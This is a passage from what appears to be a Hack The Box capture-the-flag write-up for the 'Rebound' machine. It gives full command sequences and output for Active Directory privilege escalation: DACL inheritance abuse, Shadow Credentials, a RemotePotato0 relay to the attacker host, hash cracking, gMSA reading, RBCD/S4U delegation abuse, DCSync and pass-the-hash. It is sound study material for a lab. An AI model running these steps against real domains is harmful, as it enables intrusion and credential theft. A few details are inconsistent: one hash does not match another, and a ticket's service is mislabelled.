We only have full permissions over the OU
not the user, as the permissions over the OU
do not appear to be ‘inherited’ down to give us GenericAll
over the winrm_svc
user. However, as we have full permission over the OU
, we can simply enable inheritance so the GenericAll
trickles down!
Enabling inheritance
With GenericAll
over an OU
, you can add a new ACE
on the OU
that will inherit down to the objects under that OU, ref here. We can use impacket’s dacledit.py to force our GenericAll
ACE
to inherit down to the objects under OU=Service Users
by enabling inheritance. This attack scenario is also explained really nicely in this twitter thread.
So lets use dacledit.py
to enable inheritance, taking reference from the example here. We need to make another venv
to install the forked version of impacket with the dacledit
script, without breaking our existing impacket install. We install the correct branch, get a ticket for oorend
who we already added to ServiceMgmt
then use our privilege over the OU
to simply enable inheritance so all child objects inherit the permissions under OU=Service Users
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
python3 -m venv dacl
source dacl/bin/activate
git clone --branch dacledit https://github.com/ShutdownRepo/impacket/ impacket-dacl
cd impacket-dacl
pip install .
python3 setup.py install
┌──(dacl)─(kali㉿kali)-[~/Desktop/impacket-dacl/examples]
└─$ impacket-getTGT 'rebound.htb'/'oorend':'1GR8t@$$4u' -dc-ip rebound.htb
Impacket v0.9.25.dev1+20230823.145202.4518279 - Copyright 2021 SecureAuth Corporation
[*] Saving ticket in oorend.ccache
┌──(dacl)─(kali㉿kali)-[~/Desktop/impacket-dacl/examples]
└─$ export KRB5CCNAME=oorend.ccache
┌──(dacl)─(kali㉿kali)-[~/Desktop/impacket-dacl/examples]
└─$ klist
Ticket cache: FILE:oorend.ccache
Default principal: oorend@REBOUND.HTB
Valid starting Expires Service principal
09/12/2023 18:17:13 09/13/2023 04:17:13 krbtgt/REBOUND.HTB@REBOUND.HTB
renew until 09/13/2023 18:17:12
┌──(dacl)─(kali㉿kali)-[~/Desktop/impacket-dacl/examples]
└─$ dacledit.py -k -no-pass -action 'write' -rights 'FullControl' -principal oorend -target-dn 'OU=Service Users,DC=rebound,DC=htb' -inheritance 'rebound.htb'/'oorend' -use-ldaps -dc-ip rebound.htb
Impacket v0.9.25.dev1+20230823.145202.4518279 - Copyright 2021 SecureAuth Corporation
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20230912-181800.bak
[*] DACL modified successfully!
We see the DACL was modified successfuly and in ADUC can now see the GenericAll
ACE inherits down the OU giving us full privilege over winrm_svc
.
One option to abuse this would be to simply reset the password of winrm_svc
with our privilege, however this is bad practice as in a real engagement we wouldn’t want to reset client credentials without being able to revert them. Instead, with our GenericAll
over winrm_svc
as oorend
a much better way to abuse this is to perform a Shadow Credentials attack.
Adding Shadow Credentials
Our GenericAll
allows us to write to the msDS-KeyCredentialLink
attribute of the object enabling us to perform a Shadow Credentials attack if a PKI
solution is in place such as Active Directory Certificate Services. We can quickly check if this is installed in the domain using crackmapexec:
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -k -M adcs
SMB rebound.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS rebound.htb 636 DC01 [+] rebound.htb\ldap_monitor
ADCS rebound.htb 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS Found PKI Enrollment Server: dc01.rebound.htb
ADCS Found CN: rebound-DC01-CA
ADCS is present, so as outlined by specterops in this blog we can update the msDS-KeyCredentialLink
attribute of winrm_svc
and then perform Kerberos authentication to obtain a TGT
for that account using PKINIT
(public key approach to Kerberos pre-authentication). Just like in absolute, we can first use pyWhisker
to update the ms-Ds-KeyCredentialLink
of winrm_svc
with a key-pair using oorend
who we set to have GenericAll
over the account. We can then use the .pfx
certificate with PKINIT
auth to obtain a TGT
for winrm_svc
and finally recover the NTLM hash for persistence via unpac-the-hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/Desktop/htb/absolute/pywhisker]
└─$ impacket-getTGT 'rebound.htb'/'oorend':'1GR8t@$$4u' -dc-ip rebound.htb
┌──(kali㉿kali)-[~/Desktop/htb/absolute/pywhiser]
└─$ export KRB5CCNAME=oorend.ccache
┌──(kali㉿kali)-[~/Desktop/htb/absolute/pywhiser]
└─$ python3 pywhisker.py -d "rebound.htb" -k -u "oorend" --target "winrm_svc" --action "add" --dc-ip "rebound.htb" --use-ldaps
┌──(kali㉿kali)-[~/Desktop/htb/absolute/PKINITtools]
└─$ python3 gettgtpkinit.py rebound.htb/winrm_svc -cert-pfx ../pywhisker/OUp2QOp2.pfx -pfx-pass 5QKJXsgTHcsGvaspHWt5 winrm.ccache
┌──(kali㉿kali)-[~/Desktop/htb/absolute/PKINITtools]
└─$ export KRB5CCNAME="winrm.ccache"
┌──(kali㉿kali)-[~/Desktop/htb/absolute/PKINITtools]
└─$ python3 getnthash.py -key 0cfb6ae5cee5d22f505512ea1252e1daca324032f620a6d4725d2c656474ad37 'rebound.htb/winrm_svc'
This gives us the hash of winrm_svc
for persistent access= 4469650fd892e98933b4536d2e86e512
Now we can simply login and grab user.txt
!
1
2
┌──(kali㉿kali)-[~/Desktop]
└─$ evil-winrm -i rebound.htb -u winrm_svc -H 4469650fd892e98933b4536d2e86e512
Privesc
Going back to our bloodhound output we see that rebound.htb\tbrady
can read the gMSA
password of rebound.htb\DELEGATOR$
, which seems like the next logical step to escalate.
The only way to get to tbrady
seemed to be the fact he has a session on the the DC, as the user had no inbound ACEs or special privileges.
We could also get reverse shell and query for active user sessions to discover this:
1
2
3
C:\> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
tbrady console 1 Active none 9/10/2023 10:22 AM
I did wonder how tbrady
was logged into the DC as he is not in any special groups (just rebound.htb\Domain Users
) which is pretty strange for a non-privileged user to be logged into the DC, but as I found later he has permission to logon locally through the Default Domain Controllers Policy GPO.
Dumping hashes with RemotePotato0
I got stuck for a long time here but eventually discovered an exploit named RemotePotato0 which can exploit a cross-session relay, setting up a local listener and coercing the privileged DCOM
activation service to it, triggering an NTLM
authentication of any user currently logged on in the target machine. AKA we can get the NTLMv2
hash of tbrady
as he’s logged into the machine!
There is a note on the GitHub saying the exploit has since been fixed however, we know this will work as although the server is 2019
and a patch is out, the version build is 17763
which was only supported until 2020 and the patch for remotepotato was released in 2022.
We can use the command reference here to setup a socat
relay to send the RPC call to our attacking machine and relay that back to the RPC
server and capture the NTLMv2
hash of other users logged into the machine (tbrady
). We pick to target session 1
is because session 0
is reserved for services and non interactive user applications (what we are in during WinRM
). Users who are logged natively onto windows must run in session 1
or higher as explained here.
1
2
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.9.240:9998
> .\RemotePotato0.exe -m 2 -x 10.10.16.26 -p 9998 -s 1
And we get NTLMv2
hash of tbrady
!
1
tbrady::rebound:d52e0d88d0900a29:79edd03ab0b312fc40f91ffcbe203686:0101000000000000adf3b55bede5d901ddce856b3450afa30000000002000e007200650062006f0075006e006400010008004400430030003100040016007200650062006f0075006e0064002e006800740062000300200064006300300031002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064002e0068007400620007000800adf3b55bede5d90106000400060000000800300030000000000000000100000000200000301aac4986552c3e3c9da001fa9742fba510e2a7c3f6b9c2d10dd07c66d3cf0d0a00100000000000000000000000000000000000090000000000000000000000
Let’s try to crack the hash with rockyou.txt
:
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
543BOMBOMBUNmanda (tbrady)
1g 0:00:00:04 DONE (2023-09-13 01:59) 0.2364g/s 2881Kp/s 2881Kc/s 2881KC/s 5449977..5435844
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Luckily it cracks, giving us our fourth credentials: tbrady:543BOMBOMBUNmanda
.
Reading the gMSA password
Equipped tbrady's
credentials, we can read the gMSA
password of rebound.htb\DELEGATOR$
which can easily be done with crackmapexec’s --gmsa
module.
1
2
3
4
5
6
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec ldap dc01.rebound.htb -u tbrady -p 543BOMBOMBUNmanda -k --gmsa
SMB dc01.rebound.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAP dc01.rebound.htb 636 DC01 [+] rebound.htb\tbrady:543BOMBOMBUNmanda
LDAP dc01.rebound.htb 636 DC01 [*] Getting GMSA Passwords
LDAP dc01.rebound.htb 636 DC01 Account: delegator$ NTLM: 9b0ccb7d34c670b2a9c81c45bc8befc3
Crackmapexec spits out the NTLM
hash of the password, as the 240-byte non human-readable password wouldn’t be much use to us. We can see it is valid - delegator$:9b0ccb7d34c670b2a9c81c45bc8befc3
Discovering constrained delegation
With delegator$
we can take the hint that we should search for interesting delegations this user can perform.
1
2
> . .\PowerView.ps1
> Get-DomainComputer -Trusted
We can also find this remotely with impacket-findDelegation
1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ kali@kali~$ impacket-findDelegation -target-domain rebound.htb rebound.htb/winrm_svc -hashes :4469650fd892e98933b4536d2e86e512 -k
AccountName AccountType DelegationType DelegationRightsTo
----------- ----------------------------------- -------------- ---------------------
delegator$ ms-DS-Group-Managed-Service-Account Constrained http/dc01.rebound.htb
We see there is constrained delegation to http/dc01.rebound.htb
. This essentially means delegator$
is allowed to request a TGS
for ANY user (domain admin!) for the http
service running on dc01$
.
Failing to exploit the constrained delegation
The usual exploitation of constrained delegation is to obtain a service ticket (TGS
) using impacket-getST of the HTTP
service we are allowed to delegate to whilst impersonating any user (domain admin for privilege escalation).
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-getST -dc-ip rebound.htb -spn http/dc01.rebound.htb -hashes :9B0CCB7D34C670B2A9C81C45BC8BEFC3 -impersonate administrator rebound.htb/delegator
Impacket v0.12.0.dev1+20230907.33311.3f645107 - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user delegator or initial TGT not forwardable
This article suggests this failure is because the user we are impersonating is either in the Protected Users
group or is set as Account is sensitive and cannot be delegated
. Looking in ADUC confirms rebound.htb\Administrator
has the sensitive attribute set so cannot be impersonated for delegation. This basically means Administrator
credential cannot be forwarded to other computers or services on the network by a trusted application, explaining why we failed to impersonate it.
Although we can’t impersonate the only domain admin, we could try to impersonate the DC itself then we could DCSync
? However, trying to impersonate dc01$
strangely also fails.
Exploiting constrained delegation without protocol transition
The article also suggests the error can mean the constrained delegation is configured without protocol transition (i.e trust the user for delegation to specified services using Kerberos ONLY (not ANY authentication protocol which is the common one).
Inspecting the attributes for delegator$
we see the userAccountControl
it is set to 0x1000
which the documentation states is “Trust this user for delegation to specific services only (Use Kerberos Only) which confirms the delegation is without protocol transition. Normally constrained delegation is set with the TRUSTED_TO_AUTH_FOR_DELEGATION
value which is a neat little twist for this box, forcing to exploit delegation with only Kerberos.
Researching how to exploit constrained delegation without protocol transition we find two great references, here and here. First we can get a valid TGT
for delegator$
, then set the msds-AllowedToActOnBehalfOfOtherIdentity
on delegator$
which is used to control what front-end service can delegate to the backend delegator$
in resource-based constrained delegation (computer accounts have permission to set their own attribute). When setting the ms-Ds-AllowedToActOnBehalfOfOtherIdentity
attribute on the backend service, the frontend service must have an SPN
set in the domain. But what do we set for the service (SPN
) to be allowed to delegate to delegator$
? We either have to add one or use an already compromised one.
We can’t add a computer account (by default has SPNs) as the machineaccountquota
is set to 0
. However we can use ldap_monitor
as we already compromised this user that has an SPN
set - ldapmonitor/dc01.rebound.htb
. By setting this we are saying ldap_monitor
can use S4U2Self
(obtain TGS
to itself on behalf of another user) to request a forwardable TGS
on delegator$
via S4U2Proxy
(obtain TGS
on second service on behalf of another user).
We can update the msds-AllowedToActOnBehalfOfOtherIdentity
of delegator$
using impacket-rbcd
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-getTGT 'rebound.htb/delegator$' -hashes :9b0ccb7d34c670b2a9c81c45bc8befc3 -dc-ip rebound.htb
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ export KRB5CCNAME=delegator\$.ccache
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-rbcd -delegate-to 'delegator$' -delegate-from 'ldap_monitor' -dc-ip rebound.htb -action 'write' 'rebound.htb'/'delegator$' -k -no-pass -use-ldaps
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ldap_monitor (S-1-5-21-4078382237-1492182817-2568127209-7681)
Nice, now ldap_monitor
can impersonate any users on delegator$
via S4U2Proxy
.
Then following the first article as ldap_monitor
we perform a S4U2self + S4U2proxy
for the browser service on delegator$
to obtain a forwardable TGS
for browser/dc01.rebound.htb
. We then do an additional S4U2Proxy
to delegate to the HTTP/DC01
service which allows use to get a ticket as the DC - meaning we can then DCSync
!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-getTGT 'rebound.htb/ldap_monitor:1GR8t@$$4u'
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ export KRB5CCNAME=ldap_monitor.ccache
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-getST -spn "browser/dc01.rebound.htb" -impersonate "dc01$" "rebound.htb/ldap_monitor" -k -no-pass
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ export KRB5CCNAME=dc01\$.ccache
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-getST -spn "http/dc01.rebound.htb" -impersonate "dc01$" -additional-ticket "dc01$.ccache" "rebound.htb/delegator$" -hashes :9b0ccb7d34c670b2a9c81c45bc8befc3 -k -no-pass
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-secretsdump -no -k dc01.rebound.htb -just-dc-user Administrator
Impacket v0.12.0.dev1+20230907.33311.3f645107 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7bf62b9c45112ffdadb7b6b4b9299dd2:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f85e10e8723650ad5cec6898e61af52c111a6da2d8d7b377da6ffedbedd9f342
Administrator:aes128-cts-hmac-sha1-96:2c13deb72832d014feb7f905298f07cb
Administrator:des-cbc-md5:084926e6404a2579
[*] Cleaning up...
For some reason the HTTP TGS
let me DCSync
which I’m not sure why as we should need an LDAP TGS
for this. There is an interesting thread here that discusses strange behaviour with impacket’s secretsdump and tickets. However if HTTP
didn’t work we could simply change the service name as the service name (SPN) is not protected in the Kerberos structure so the service class can be modified in the ticket for any service run by DC01
- e.g. LDAP
which normally lets us DCSync
. We can use tgssub.py for this.
1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/impacket-dacl/examples]
└─$ git clone --branch tgssub https://github.com/ShutdownRepo/impacket/ tgssub
┌──(kali㉿kali)-[~/…/impacket-dacl/examples/tgssub/examples]
└─$ python3 tgssub.py -in "/home/kali/Desktop/htb/rebound/dc01$.ccache" -out cifs.ccache -altservice "cifs/dc01.rebound.htb"
Now with an ldap
ticket this also lets us DCSync
like before with secretsdump
.
With the NTLM hash of Administrator
we can simply pass the hash to connect via WinRM
.
1
2
┌──(kali㉿kali)-[~/Downloads/Tools/ADModule-master]
└─$ evil-winrm -i rebound.htb -u administrator -H 176be138594933bb67db3b2572fc91b8
With root.txt
we pwned the box!